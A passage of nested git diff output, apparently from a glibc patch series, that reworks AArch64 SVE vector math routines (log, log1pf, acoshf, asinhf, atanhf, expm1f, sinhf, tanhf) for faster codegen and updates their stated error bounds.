+-  svbool_t cmp = svcmpge (pg, svsub_x (pg, top, MinTop), sv_u64 (ThreshTop));
++  svbool_t special = svcmpge (pg, svsub_x (pg, ix, Min), Thresh);
+ 
+   /* x = 2^k z; where z is in range [Off,2*Off) and exact.
+      The range is split into N subintervals.
+      The ith subinterval contains z and c is near its center.  */
+-  svuint64_t tmp = svsub_x (pg, ix, Off);
++  svuint64_t tmp = svsub_x (pg, ix, d->off);
+   /* Calculate table index = (tmp >> (52 - V_LOG_TABLE_BITS)) % N.
+      The actual value of i is double this due to table layout.  */
+   svuint64_t i
+       = svand_x (pg, svlsr_x (pg, tmp, (51 - V_LOG_TABLE_BITS)), (N - 1) << 1);
+-  svint64_t k
+-      = svasr_x (pg, svreinterpret_s64 (tmp), 52); /* Arithmetic shift.  */
+   svuint64_t iz = svsub_x (pg, ix, svand_x (pg, tmp, 0xfffULL << 52));
+   svfloat64_t z = svreinterpret_f64 (iz);
+   /* Lookup in 2 global lists (length N).  */
+@@ -59,18 +74,22 @@ svfloat64_t SV_NAME_D1 (log) (svfloat64_t x, const svbool_t pg)
+   svfloat64_t logc = svld1_gather_index (pg, &__v_log_data.table[0].logc, i);
+ 
+   /* log(x) = log1p(z/c-1) + log(c) + k*Ln2.  */
+-  svfloat64_t r = svmad_x (pg, invc, z, -1);
+-  svfloat64_t kd = svcvt_f64_x (pg, k);
++  svfloat64_t kd = svcvt_f64_x (pg, svasr_x (pg, svreinterpret_s64 (tmp), 52));
+   /* hi = r + log(c) + k*Ln2.  */
+-  svfloat64_t hi = svmla_x (pg, svadd_x (pg, logc, r), kd, __v_log_data.ln2);
++  svfloat64_t ln2_and_c4 = svld1rq_f64 (svptrue_b64 (), &d->ln2);
++  svfloat64_t r = svmad_x (pg, invc, z, -1);
++  svfloat64_t hi = svmla_lane_f64 (logc, kd, ln2_and_c4, 0);
++  hi = svadd_x (pg, r, hi);
++
+   /* y = r2*(A0 + r*A1 + r2*(A2 + r*A3 + r2*A4)) + hi.  */
+-  svfloat64_t r2 = svmul_x (pg, r, r);
+-  svfloat64_t y = svmla_x (pg, P (2), r, P (3));
+-  svfloat64_t p = svmla_x (pg, P (0), r, P (1));
+-  y = svmla_x (pg, y, r2, P (4));
++  svfloat64_t odd_coeffs = svld1rq_f64 (svptrue_b64 (), &d->c1);
++  svfloat64_t r2 = svmul_x (svptrue_b64 (), r, r);
++  svfloat64_t y = svmla_lane_f64 (sv_f64 (d->c2), r, odd_coeffs, 1);
++  svfloat64_t p = svmla_lane_f64 (sv_f64 (d->c0), r, odd_coeffs, 0);
++  y = svmla_lane_f64 (y, r2, ln2_and_c4, 1);
+   y = svmla_x (pg, p, r2, y);
+ 
+-  if (__glibc_unlikely (svptest_any (pg, cmp)))
+-    return special_case (x, svmla_x (svnot_z (pg, cmp), hi, r2, y), cmp);
++  if (__glibc_unlikely (svptest_any (pg, special)))
++    return special_case (hi, tmp, y, r2, special, d);
+   return svmla_x (pg, hi, r2, y);
+ }
+diff --git a/sysdeps/aarch64/libm-test-ulps b/sysdeps/aarch64/libm-test-ulps
+index 6c96304611..b76c38dac2 100644
+--- a/sysdeps/aarch64/libm-test-ulps
++++ b/sysdeps/aarch64/libm-test-ulps
+@@ -1460,7 +1460,7 @@ float: 2
+ ldouble: 1
+ 
+ Function: "log_sve":
+-double: 1
++double: 2
+ float: 3
+ 
+ Function: "log_towardzero":
+
+commit aa7c61ea15e27ae14717e065a5d4c50baa472851
+Author: Yat Long Poon <yatlong.poon@arm.com>
+Date:   Fri Jan 3 19:09:05 2025 +0000
+
+    AArch64: Improve codegen for SVE log1pf users
+    
+    Reduce memory access by using lanewise MLA and reduce number of MOVPRFXs.
+    Move log1pf implementation to inline helper function.
+    Speedup on Neoverse V1 for log1pf (10%), acoshf (-1%), atanhf (2%), asinhf (2%).
+    
+    (cherry picked from commit 91c1fadba338752bf514cd4cca057b27b1b10eed)
+
+diff --git a/sysdeps/aarch64/fpu/acoshf_sve.c b/sysdeps/aarch64/fpu/acoshf_sve.c
+index 2110894e62..491365e24d 100644
+--- a/sysdeps/aarch64/fpu/acoshf_sve.c
++++ b/sysdeps/aarch64/fpu/acoshf_sve.c
+@@ -17,23 +17,26 @@
+    License along with the GNU C Library; if not, see
+    <https://www.gnu.org/licenses/>.  */
+ 
++#include "sv_math.h"
++#include "sv_log1pf_inline.h"
++
+ #define One 0x3f800000
+ #define Thres 0x20000000 /* asuint(0x1p64) - One.  */
+ 
+-#include "sv_log1pf_inline.h"
+-
+ static svfloat32_t NOINLINE
+-special_case (svfloat32_t x, svfloat32_t y, svbool_t special)
++special_case (svfloat32_t xm1, svfloat32_t tmp, svbool_t special)
+ {
++  svfloat32_t x = svadd_x (svptrue_b32 (), xm1, 1.0f);
++  svfloat32_t y = sv_log1pf_inline (tmp, svptrue_b32 ());
+   return sv_call_f32 (acoshf, x, y, special);
+ }
+ 
+ /* Single-precision SVE acosh(x) routine. Implements the same algorithm as
+    vector acoshf and log1p.
+ 
+-   Maximum error is 2.78 ULPs:
+-   SV_NAME_F1 (acosh) (0x1.01e996p+0) got 0x1.f45b42p-4
+-				     want 0x1.f45b3cp-4.  */
++   Maximum error is 2.47 ULPs:
++   SV_NAME_F1 (acosh) (0x1.01ca76p+0) got 0x1.e435a6p-4
++				     want 0x1.e435a2p-4.  */
+ svfloat32_t SV_NAME_F1 (acosh) (svfloat32_t x, const svbool_t pg)
+ {
+   svuint32_t ix = svreinterpret_u32 (x);
+@@ -41,9 +44,9 @@ svfloat32_t SV_NAME_F1 (acosh) (svfloat32_t x, const svbool_t pg)
+ 
+   svfloat32_t xm1 = svsub_x (pg, x, 1.0f);
+   svfloat32_t u = svmul_x (pg, xm1, svadd_x (pg, x, 1.0f));
+-  svfloat32_t y = sv_log1pf_inline (svadd_x (pg, xm1, svsqrt_x (pg, u)), pg);
++  svfloat32_t tmp = svadd_x (pg, xm1, svsqrt_x (pg, u));
+ 
+   if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, y, special);
+-  return y;
++    return special_case (xm1, tmp, special);
++  return sv_log1pf_inline (tmp, pg);
+ }
+diff --git a/sysdeps/aarch64/fpu/asinhf_sve.c b/sysdeps/aarch64/fpu/asinhf_sve.c
+index d85c3a685c..b7f253bf32 100644
+--- a/sysdeps/aarch64/fpu/asinhf_sve.c
++++ b/sysdeps/aarch64/fpu/asinhf_sve.c
+@@ -20,20 +20,23 @@
+ #include "sv_math.h"
+ #include "sv_log1pf_inline.h"
+ 
+-#define BigBound (0x5f800000)  /* asuint(0x1p64).  */
++#define BigBound 0x5f800000 /* asuint(0x1p64).  */
+ 
+ static svfloat32_t NOINLINE
+-special_case (svfloat32_t x, svfloat32_t y, svbool_t special)
++special_case (svuint32_t iax, svuint32_t sign, svfloat32_t y, svbool_t special)
+ {
++  svfloat32_t x = svreinterpret_f32 (sveor_x (svptrue_b32 (), iax, sign));
++  y = svreinterpret_f32 (
++      svorr_x (svptrue_b32 (), sign, svreinterpret_u32 (y)));
+   return sv_call_f32 (asinhf, x, y, special);
+ }
+ 
+ /* Single-precision SVE asinh(x) routine. Implements the same algorithm as
+    vector asinhf and log1p.
+ 
+-   Maximum error is 2.48 ULPs:
+-   SV_NAME_F1 (asinh) (0x1.008864p-3) got 0x1.ffbbbcp-4
+-				     want 0x1.ffbbb8p-4.  */
++   Maximum error is 1.92 ULPs:
++   SV_NAME_F1 (asinh) (-0x1.0922ecp-1) got -0x1.fd0bccp-2
++				      want -0x1.fd0bc8p-2.  */
+ svfloat32_t SV_NAME_F1 (asinh) (svfloat32_t x, const svbool_t pg)
+ {
+   svfloat32_t ax = svabs_x (pg, x);
+@@ -49,8 +52,6 @@ svfloat32_t SV_NAME_F1 (asinh) (svfloat32_t x, const svbool_t pg)
+       = sv_log1pf_inline (svadd_x (pg, ax, svdiv_x (pg, ax2, d)), pg);
+ 
+   if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (
+-	x, svreinterpret_f32 (svorr_x (pg, sign, svreinterpret_u32 (y))),
+-	special);
++    return special_case (iax, sign, y, special);
+   return svreinterpret_f32 (svorr_x (pg, sign, svreinterpret_u32 (y)));
+ }
+diff --git a/sysdeps/aarch64/fpu/atanhf_sve.c b/sysdeps/aarch64/fpu/atanhf_sve.c
+index dae83041ef..2d3005bbc8 100644
+--- a/sysdeps/aarch64/fpu/atanhf_sve.c
++++ b/sysdeps/aarch64/fpu/atanhf_sve.c
+@@ -17,21 +17,25 @@
+    License along with the GNU C Library; if not, see
+    <https://www.gnu.org/licenses/>.  */
+ 
++#include "sv_math.h"
+ #include "sv_log1pf_inline.h"
+ 
+ #define One (0x3f800000)
+ #define Half (0x3f000000)
+ 
+ static svfloat32_t NOINLINE
+-special_case (svfloat32_t x, svfloat32_t y, svbool_t special)
++special_case (svuint32_t iax, svuint32_t sign, svfloat32_t halfsign,
++	      svfloat32_t y, svbool_t special)
+ {
++  svfloat32_t x = svreinterpret_f32 (sveor_x (svptrue_b32 (), iax, sign));
++  y = svmul_x (svptrue_b32 (), halfsign, y);
+   return sv_call_f32 (atanhf, x, y, special);
+ }
+ 
+ /* Approximation for vector single-precision atanh(x) using modified log1p.
+-   The maximum error is 2.28 ULP:
+-   _ZGVsMxv_atanhf(0x1.ff1194p-5) got 0x1.ffbbbcp-5
+-				 want 0x1.ffbbb6p-5.  */
++   The maximum error is 1.99 ULP:
++   _ZGVsMxv_atanhf(0x1.f1583p-5) got 0x1.f1f4fap-5
++				want 0x1.f1f4f6p-5.  */
+ svfloat32_t SV_NAME_F1 (atanh) (svfloat32_t x, const svbool_t pg)
+ {
+   svfloat32_t ax = svabs_x (pg, x);
+@@ -48,7 +52,7 @@ svfloat32_t SV_NAME_F1 (atanh) (svfloat32_t x, const svbool_t pg)
+   y = sv_log1pf_inline (y, pg);
+ 
+   if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, svmul_x (pg, halfsign, y), special);
++    return special_case (iax, sign, halfsign, y, special);
+ 
+   return svmul_x (pg, halfsign, y);
+ }
+diff --git a/sysdeps/aarch64/fpu/log1pf_sve.c b/sysdeps/aarch64/fpu/log1pf_sve.c
+index 5256d5e94c..18a185c838 100644
+--- a/sysdeps/aarch64/fpu/log1pf_sve.c
++++ b/sysdeps/aarch64/fpu/log1pf_sve.c
+@@ -18,30 +18,13 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "sv_math.h"
+-#include "poly_sve_f32.h"
+-
+-static const struct data
+-{
+-  float poly[8];
+-  float ln2, exp_bias;
+-  uint32_t four, three_quarters;
+-} data = {.poly = {/* Do not store first term of polynomial, which is -0.5, as
+-                      this can be fmov-ed directly instead of including it in
+-                      the main load-and-mla polynomial schedule.  */
+-		   0x1.5555aap-2f, -0x1.000038p-2f, 0x1.99675cp-3f,
+-		   -0x1.54ef78p-3f, 0x1.28a1f4p-3f, -0x1.0da91p-3f,
+-		   0x1.abcb6p-4f, -0x1.6f0d5ep-5f},
+-	  .ln2 = 0x1.62e43p-1f,
+-	  .exp_bias = 0x1p-23f,
+-	  .four = 0x40800000,
+-	  .three_quarters = 0x3f400000};
+-
+-#define SignExponentMask 0xff800000
++#include "sv_log1pf_inline.h"
+ 
+ static svfloat32_t NOINLINE
+-special_case (svfloat32_t x, svfloat32_t y, svbool_t special)
++special_case (svfloat32_t x, svbool_t special)
+ {
+-  return sv_call_f32 (log1pf, x, y, special);
++  return sv_call_f32 (log1pf, x, sv_log1pf_inline (x, svptrue_b32 ()),
++		      special);
+ }
+ 
+ /* Vector log1pf approximation using polynomial on reduced interval. Worst-case
+@@ -50,53 +33,14 @@ special_case (svfloat32_t x, svfloat32_t y, svbool_t special)
+ 				 want 0x1.9f323ep-2.  */
+ svfloat32_t SV_NAME_F1 (log1p) (svfloat32_t x, svbool_t pg)
+ {
+-  const struct data *d = ptr_barrier (&data);
+   /* x < -1, Inf/Nan.  */
+   svbool_t special = svcmpeq (pg, svreinterpret_u32 (x), 0x7f800000);
+   special = svorn_z (pg, special, svcmpge (pg, x, -1));
+ 
+-  /* With x + 1 = t * 2^k (where t = m + 1 and k is chosen such that m
+-			   is in [-0.25, 0.5]):
+-     log1p(x) = log(t) + log(2^k) = log1p(m) + k*log(2).
+-
+-     We approximate log1p(m) with a polynomial, then scale by
+-     k*log(2). Instead of doing this directly, we use an intermediate
+-     scale factor s = 4*k*log(2) to ensure the scale is representable
+-     as a normalised fp32 number.  */
+-  svfloat32_t m = svadd_x (pg, x, 1);
+-
+-  /* Choose k to scale x to the range [-1/4, 1/2].  */
+-  svint32_t k
+-      = svand_x (pg, svsub_x (pg, svreinterpret_s32 (m), d->three_quarters),
+-		 sv_s32 (SignExponentMask));
+-
+-  /* Scale x by exponent manipulation.  */
+-  svfloat32_t m_scale = svreinterpret_f32 (
+-      svsub_x (pg, svreinterpret_u32 (x), svreinterpret_u32 (k)));
+-
+-  /* Scale up to ensure that the scale factor is representable as normalised
+-     fp32 number, and scale m down accordingly.  */
+-  svfloat32_t s = svreinterpret_f32 (svsubr_x (pg, k, d->four));
+-  m_scale = svadd_x (pg, m_scale, svmla_x (pg, sv_f32 (-1), s, 0.25));
+-
+-  /* Evaluate polynomial on reduced interval.  */
+-  svfloat32_t ms2 = svmul_x (pg, m_scale, m_scale),
+-	      ms4 = svmul_x (pg, ms2, ms2);
+-  svfloat32_t p = sv_estrin_7_f32_x (pg, m_scale, ms2, ms4, d->poly);
+-  p = svmad_x (pg, m_scale, p, -0.5);
+-  p = svmla_x (pg, m_scale, m_scale, svmul_x (pg, m_scale, p));
+-
+-  /* The scale factor to be applied back at the end - by multiplying float(k)
+-     by 2^-23 we get the unbiased exponent of k.  */
+-  svfloat32_t scale_back = svmul_x (pg, svcvt_f32_x (pg, k), d->exp_bias);
+-
+-  /* Apply the scaling back.  */
+-  svfloat32_t y = svmla_x (pg, p, scale_back, d->ln2);
+-
+   if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, y, special);
++    return special_case (x, special);
+ 
+-  return y;
++  return sv_log1pf_inline (x, pg);
+ }
+ 
+ strong_alias (SV_NAME_F1 (log1p), SV_NAME_F1 (logp1))
+diff --git a/sysdeps/aarch64/fpu/sv_log1pf_inline.h b/sysdeps/aarch64/fpu/sv_log1pf_inline.h
+index b94b2da055..850297d615 100644
+--- a/sysdeps/aarch64/fpu/sv_log1pf_inline.h
++++ b/sysdeps/aarch64/fpu/sv_log1pf_inline.h
+@@ -22,55 +22,76 @@
+ 
+ #include "sv_math.h"
+ #include "vecmath_config.h"
+-#include "poly_sve_f32.h"
++
++#define SignExponentMask 0xff800000
+ 
+ static const struct sv_log1pf_data
+ {
+-  float32_t poly[9];
+-  float32_t ln2;
+-  float32_t scale_back;
++  float c0, c2, c4, c6;
++  float c1, c3, c5, c7;
++  float ln2, exp_bias, quarter;
++  uint32_t four, three_quarters;
+ } sv_log1pf_data = {
+-  /* Polynomial generated using FPMinimax in [-0.25, 0.5].  */
+-  .poly = { -0x1p-1f, 0x1.5555aap-2f, -0x1.000038p-2f, 0x1.99675cp-3f,
+-	    -0x1.54ef78p-3f, 0x1.28a1f4p-3f, -0x1.0da91p-3f, 0x1.abcb6p-4f,
+-	    -0x1.6f0d5ep-5f },
+-  .scale_back = 0x1.0p-23f,
+-  .ln2 = 0x1.62e43p-1f,
++  /* Do not store first term of polynomial, which is -0.5, as
++     this can be fmov-ed directly instead of including it in
++     the main load-and-mla polynomial schedule.  */
++  .c0 = 0x1.5555aap-2f,		.c1 = -0x1.000038p-2f, .c2 = 0x1.99675cp-3f,
++  .c3 = -0x1.54ef78p-3f,	.c4 = 0x1.28a1f4p-3f,  .c5 = -0x1.0da91p-3f,
++  .c6 = 0x1.abcb6p-4f,		.c7 = -0x1.6f0d5ep-5f, .ln2 = 0x1.62e43p-1f,
++  .exp_bias = 0x1p-23f,		.quarter = 0x1p-2f,    .four = 0x40800000,
++  .three_quarters = 0x3f400000,
+ };
+ 
+-static inline svfloat32_t
+-eval_poly (svfloat32_t m, const float32_t *c, svbool_t pg)
+-{
+-  svfloat32_t p_12 = svmla_x (pg, sv_f32 (c[0]), m, sv_f32 (c[1]));
+-  svfloat32_t m2 = svmul_x (pg, m, m);
+-  svfloat32_t q = svmla_x (pg, m, m2, p_12);
+-  svfloat32_t p = sv_pw_horner_6_f32_x (pg, m, m2, c + 2);
+-  p = svmul_x (pg, m2, p);
+-
+-  return svmla_x (pg, q, m2, p);
+-}
+-
+ static inline svfloat32_t
+ sv_log1pf_inline (svfloat32_t x, svbool_t pg)
+ {
+   const struct sv_log1pf_data *d = ptr_barrier (&sv_log1pf_data);
+ 
+-  svfloat32_t m = svadd_x (pg, x, 1.0f);
+-
+-  svint32_t ks = svsub_x (pg, svreinterpret_s32 (m),
+-			  svreinterpret_s32 (svdup_f32 (0.75f)));
+-  ks = svand_x (pg, ks, 0xff800000);
+-  svuint32_t k = svreinterpret_u32 (ks);
+-  svfloat32_t s = svreinterpret_f32 (
+-      svsub_x (pg, svreinterpret_u32 (svdup_f32 (4.0f)), k));
+-
+-  svfloat32_t m_scale
+-      = svreinterpret_f32 (svsub_x (pg, svreinterpret_u32 (x), k));
+-  m_scale
+-      = svadd_x (pg, m_scale, svmla_x (pg, sv_f32 (-1.0f), sv_f32 (0.25f), s));
+-  svfloat32_t p = eval_poly (m_scale, d->poly, pg);
+-  svfloat32_t scale_back = svmul_x (pg, svcvt_f32_x (pg, k), d->scale_back);
+-  return svmla_x (pg, p, scale_back, d->ln2);
++  /* With x + 1 = t * 2^k (where t = m + 1 and k is chosen such that m
++			 is in [-0.25, 0.5]):
++   log1p(x) = log(t) + log(2^k) = log1p(m) + k*log(2).
++
++   We approximate log1p(m) with a polynomial, then scale by
++   k*log(2). Instead of doing this directly, we use an intermediate
++   scale factor s = 4*k*log(2) to ensure the scale is representable
++   as a normalised fp32 number.  */
++  svfloat32_t m = svadd_x (pg, x, 1);
++
++  /* Choose k to scale x to the range [-1/4, 1/2].  */
++  svint32_t k
++      = svand_x (pg, svsub_x (pg, svreinterpret_s32 (m), d->three_quarters),
++		 sv_s32 (SignExponentMask));
++
++  /* Scale x by exponent manipulation.  */
++  svfloat32_t m_scale = svreinterpret_f32 (
++      svsub_x (pg, svreinterpret_u32 (x), svreinterpret_u32 (k)));
++
++  /* Scale up to ensure that the scale factor is representable as normalised
++     fp32 number, and scale m down accordingly.  */
++  svfloat32_t s = svreinterpret_f32 (svsubr_x (pg, k, d->four));
++  svfloat32_t fconst = svld1rq_f32 (svptrue_b32 (), &d->ln2);
++  m_scale = svadd_x (pg, m_scale, svmla_lane_f32 (sv_f32 (-1), s, fconst, 2));
++
++  /* Evaluate polynomial on reduced interval.  */
++  svfloat32_t ms2 = svmul_x (svptrue_b32 (), m_scale, m_scale);
++
++  svfloat32_t c1357 = svld1rq_f32 (svptrue_b32 (), &d->c1);
++  svfloat32_t p01 = svmla_lane_f32 (sv_f32 (d->c0), m_scale, c1357, 0);
++  svfloat32_t p23 = svmla_lane_f32 (sv_f32 (d->c2), m_scale, c1357, 1);
++  svfloat32_t p45 = svmla_lane_f32 (sv_f32 (d->c4), m_scale, c1357, 2);
++  svfloat32_t p67 = svmla_lane_f32 (sv_f32 (d->c6), m_scale, c1357, 3);
++
++  svfloat32_t p = svmla_x (pg, p45, p67, ms2);
++  p = svmla_x (pg, p23, p, ms2);
++  p = svmla_x (pg, p01, p, ms2);
++
++  p = svmad_x (pg, m_scale, p, -0.5);
++  p = svmla_x (pg, m_scale, m_scale, svmul_x (pg, m_scale, p));
++
++  /* The scale factor to be applied back at the end - by multiplying float(k)
++   by 2^-23 we get the unbiased exponent of k.  */
++  svfloat32_t scale_back = svmul_lane_f32 (svcvt_f32_x (pg, k), fconst, 1);
++  return svmla_lane_f32 (p, scale_back, fconst, 0);
+ }
+ 
+ #endif
+
+commit d983f14c304df2d880c7b01e904e4a889064b9b3
+Author: Luna Lamb <luna.lamb@arm.com>
+Date:   Fri Jan 3 20:15:17 2025 +0000
+
+    AArch64: Improve codegen in SVE expm1f and users
+    
+    Use unpredicated muls, use absolute compare and improve memory access.
+    Expm1f, sinhf and tanhf show 7%, 5% and 1% improvement in throughput
+    microbenchmark on Neoverse V1.
+    
+    (cherry picked from commit f86b4cf87581cf1e45702b07880679ffa0b1f47a)
+
+diff --git a/sysdeps/aarch64/fpu/expm1f_sve.c b/sysdeps/aarch64/fpu/expm1f_sve.c
+index 7c852125cd..05a66400d4 100644
+--- a/sysdeps/aarch64/fpu/expm1f_sve.c
++++ b/sysdeps/aarch64/fpu/expm1f_sve.c
+@@ -18,7 +18,6 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "sv_math.h"
+-#include "poly_sve_f32.h"
+ 
+ /* Largest value of x for which expm1(x) should round to -1.  */
+ #define SpecialBound 0x1.5ebc4p+6f
+@@ -28,20 +27,17 @@ static const struct data
+   /* These 4 are grouped together so they can be loaded as one quadword, then
+      used with _lane forms of svmla/svmls.  */
+   float c2, c4, ln2_hi, ln2_lo;
+-  float c0, c1, c3, inv_ln2, special_bound, shift;
++  float c0, inv_ln2, c1, c3, special_bound;
+ } data = {
+   /* Generated using fpminimax.  */
+   .c0 = 0x1.fffffep-2,		 .c1 = 0x1.5554aep-3,
+   .c2 = 0x1.555736p-5,		 .c3 = 0x1.12287cp-7,
+-  .c4 = 0x1.6b55a2p-10,
++  .c4 = 0x1.6b55a2p-10,		 .inv_ln2 = 0x1.715476p+0f,
++  .special_bound = SpecialBound, .ln2_lo = 0x1.7f7d1cp-20f,
++  .ln2_hi = 0x1.62e4p-1f,
+ 
+-  .special_bound = SpecialBound, .shift = 0x1.8p23f,
+-  .inv_ln2 = 0x1.715476p+0f,	 .ln2_hi = 0x1.62e4p-1f,
+-  .ln2_lo = 0x1.7f7d1cp-20f,
+ };
+ 
+-#define C(i) sv_f32 (d->c##i)
+-
+ static svfloat32_t NOINLINE
+ special_case (svfloat32_t x, svbool_t pg)
+ {
+@@ -71,9 +67,8 @@ svfloat32_t SV_NAME_F1 (expm1) (svfloat32_t x, svbool_t pg)
+      and f = x - i * ln2, then f is in [-ln2/2, ln2/2].
+      exp(x) - 1 = 2^i * (expm1(f) + 1) - 1
+      where 2^i is exact because i is an integer.  */
+-  svfloat32_t j = svmla_x (pg, sv_f32 (d->shift), x, d->inv_ln2);
+-  j = svsub_x (pg, j, d->shift);
+-  svint32_t i = svcvt_s32_x (pg, j);
++  svfloat32_t j = svmul_x (svptrue_b32 (), x, d->inv_ln2);
++  j = svrinta_x (pg, j);
+ 
+   svfloat32_t f = svmls_lane (x, j, lane_constants, 2);
+   f = svmls_lane (f, j, lane_constants, 3);
+@@ -83,17 +78,17 @@ svfloat32_t SV_NAME_F1 (expm1) (svfloat32_t x, svbool_t pg)
+ 	 x + ax^2 + bx^3 + cx^4 ....
+      So we calculate the polynomial P(f) = a + bf + cf^2 + ...
+      and assemble the approximation expm1(f) ~= f + f^2 * P(f).  */
+-  svfloat32_t p12 = svmla_lane (C (1), f, lane_constants, 0);
+-  svfloat32_t p34 = svmla_lane (C (3), f, lane_constants, 1);
+-  svfloat32_t f2 = svmul_x (pg, f, f);
++  svfloat32_t p12 = svmla_lane (sv_f32 (d->c1), f, lane_constants, 0);
++  svfloat32_t p34 = svmla_lane (sv_f32 (d->c3), f, lane_constants, 1);
++  svfloat32_t f2 = svmul_x (svptrue_b32 (), f, f);
+   svfloat32_t p = svmla_x (pg, p12, f2, p34);
+-  p = svmla_x (pg, C (0), f, p);
++
++  p = svmla_x (pg, sv_f32 (d->c0), f, p);
+   p = svmla_x (pg, f, f2, p);
+ 
+   /* Assemble the result.
+      expm1(x) ~= 2^i * (p + 1) - 1
+      Let t = 2^i.  */
+-  svfloat32_t t = svreinterpret_f32 (
+-      svadd_x (pg, svreinterpret_u32 (svlsl_x (pg, i, 23)), 0x3f800000));
+-  return svmla_x (pg, svsub_x (pg, t, 1), p, t);
++  svfloat32_t t = svscale_x (pg, sv_f32 (1.0f), svcvt_s32_x (pg, j));
++  return svmla_x (pg, svsub_x (pg, t, 1.0f), p, t);
+ }
+diff --git a/sysdeps/aarch64/fpu/sinhf_sve.c b/sysdeps/aarch64/fpu/sinhf_sve.c
+index 6c204b57a2..50dd386774 100644
+--- a/sysdeps/aarch64/fpu/sinhf_sve.c
++++ b/sysdeps/aarch64/fpu/sinhf_sve.c
+@@ -63,5 +63,5 @@ svfloat32_t SV_NAME_F1 (sinh) (svfloat32_t x, const svbool_t pg)
+   if (__glibc_unlikely (svptest_any (pg, special)))
+     return special_case (x, svmul_x (pg, t, halfsign), special);
+ 
+-  return svmul_x (pg, t, halfsign);
++  return svmul_x (svptrue_b32 (), t, halfsign);
+ }
+diff --git a/sysdeps/aarch64/fpu/sv_expm1f_inline.h b/sysdeps/aarch64/fpu/sv_expm1f_inline.h
+index 5b72451222..e46ddda543 100644
+--- a/sysdeps/aarch64/fpu/sv_expm1f_inline.h
++++ b/sysdeps/aarch64/fpu/sv_expm1f_inline.h
+@@ -27,21 +27,18 @@ struct sv_expm1f_data
+   /* These 4 are grouped together so they can be loaded as one quadword, then
+    used with _lane forms of svmla/svmls.  */
+   float32_t c2, c4, ln2_hi, ln2_lo;
+-  float32_t c0, c1, c3, inv_ln2, shift;
++  float c0, inv_ln2, c1, c3, special_bound;
+ };
+ 
+ /* Coefficients generated using fpminimax.  */
+ #define SV_EXPM1F_DATA                                                        \
+   {                                                                           \
+-    .c0 = 0x1.fffffep-2, .c1 = 0x1.5554aep-3, .c2 = 0x1.555736p-5,            \
+-    .c3 = 0x1.12287cp-7, .c4 = 0x1.6b55a2p-10,                                \
++    .c0 = 0x1.fffffep-2, .c1 = 0x1.5554aep-3, .inv_ln2 = 0x1.715476p+0f,      \
++    .c2 = 0x1.555736p-5, .c3 = 0x1.12287cp-7,                                 \
+                                                                               \
+-    .shift = 0x1.8p23f, .inv_ln2 = 0x1.715476p+0f, .ln2_hi = 0x1.62e4p-1f,    \
+-    .ln2_lo = 0x1.7f7d1cp-20f,                                                \
++    .c4 = 0x1.6b55a2p-10, .ln2_lo = 0x1.7f7d1cp-20f, .ln2_hi = 0x1.62e4p-1f,  \
+   }
+ 
+-#define C(i) sv_f32 (d->c##i)
+-
+ static inline svfloat32_t
+ expm1f_inline (svfloat32_t x, svbool_t pg, const struct sv_expm1f_data *d)
+ {
+@@ -55,9 +52,8 @@ expm1f_inline (svfloat32_t x, svbool_t pg, const struct sv_expm1f_data *d)
+      and f = x - i * ln2, then f is in [-ln2/2, ln2/2].
+      exp(x) - 1 = 2^i * (expm1(f) + 1) - 1
+      where 2^i is exact because i is an integer.  */
+-  svfloat32_t j = svmla_x (pg, sv_f32 (d->shift), x, d->inv_ln2);
+-  j = svsub_x (pg, j, d->shift);
+-  svint32_t i = svcvt_s32_x (pg, j);
++  svfloat32_t j = svmul_x (svptrue_b32 (), x, d->inv_ln2);
++  j = svrinta_x (pg, j);
+ 
+   svfloat32_t f = svmls_lane (x, j, lane_constants, 2);
+   f = svmls_lane (f, j, lane_constants, 3);
+@@ -67,18 +63,18 @@ expm1f_inline (svfloat32_t x, svbool_t pg, const struct sv_expm1f_data *d)
+ 	 x + ax^2 + bx^3 + cx^4 ....
+      So we calculate the polynomial P(f) = a + bf + cf^2 + ...
+      and assemble the approximation expm1(f) ~= f + f^2 * P(f).  */
+-  svfloat32_t p12 = svmla_lane (C (1), f, lane_constants, 0);
+-  svfloat32_t p34 = svmla_lane (C (3), f, lane_constants, 1);
+-  svfloat32_t f2 = svmul_x (pg, f, f);
++  svfloat32_t p12 = svmla_lane (sv_f32 (d->c1), f, lane_constants, 0);
++  svfloat32_t p34 = svmla_lane (sv_f32 (d->c3), f, lane_constants, 1);
++  svfloat32_t f2 = svmul_x (svptrue_b32 (), f, f);
+   svfloat32_t p = svmla_x (pg, p12, f2, p34);
+-  p = svmla_x (pg, C (0), f, p);
++  p = svmla_x (pg, sv_f32 (d->c0), f, p);
+   p = svmla_x (pg, f, f2, p);
+ 
+   /* Assemble the result.
+      expm1(x) ~= 2^i * (p + 1) - 1
+      Let t = 2^i.  */
+-  svfloat32_t t = svscale_x (pg, sv_f32 (1), i);
+-  return svmla_x (pg, svsub_x (pg, t, 1), p, t);
++  svfloat32_t t = svscale_x (pg, sv_f32 (1.0f), svcvt_s32_x (pg, j));
++  return svmla_x (pg, svsub_x (pg, t, 1.0f), p, t);
+ }
+ 
+ #endif
+diff --git a/sysdeps/aarch64/fpu/tanhf_sve.c b/sysdeps/aarch64/fpu/tanhf_sve.c
+index 0b94523cf5..80dd679346 100644
+--- a/sysdeps/aarch64/fpu/tanhf_sve.c
++++ b/sysdeps/aarch64/fpu/tanhf_sve.c
+@@ -19,20 +19,27 @@
+ 
+ #include "sv_expm1f_inline.h"
+ 
++/* Largest value of x for which tanhf(x) rounds to 1 (or -1 for negative).  */
++#define BoringBound 0x1.205966p+3f
++
+ static const struct data
+ {
+   struct sv_expm1f_data expm1f_consts;
+-  uint32_t boring_bound, onef;
++  uint32_t onef, special_bound;
++  float boring_bound;
+ } data = {
+   .expm1f_consts = SV_EXPM1F_DATA,
+-  /* 0x1.205966p+3, above which tanhf rounds to 1 (or -1 for negative).  */
+-  .boring_bound = 0x41102cb3,
+   .onef = 0x3f800000,
++  .special_bound = 0x7f800000,
++  .boring_bound = BoringBound,
+ };
+ 
+ static svfloat32_t NOINLINE
+-special_case (svfloat32_t x, svfloat32_t y, svbool_t special)
++special_case (svfloat32_t x, svbool_t pg, svbool_t is_boring,
++	      svfloat32_t boring, svfloat32_t q, svbool_t special)
+ {
++  svfloat32_t y
++      = svsel_f32 (is_boring, boring, svdiv_x (pg, q, svadd_x (pg, q, 2.0)));
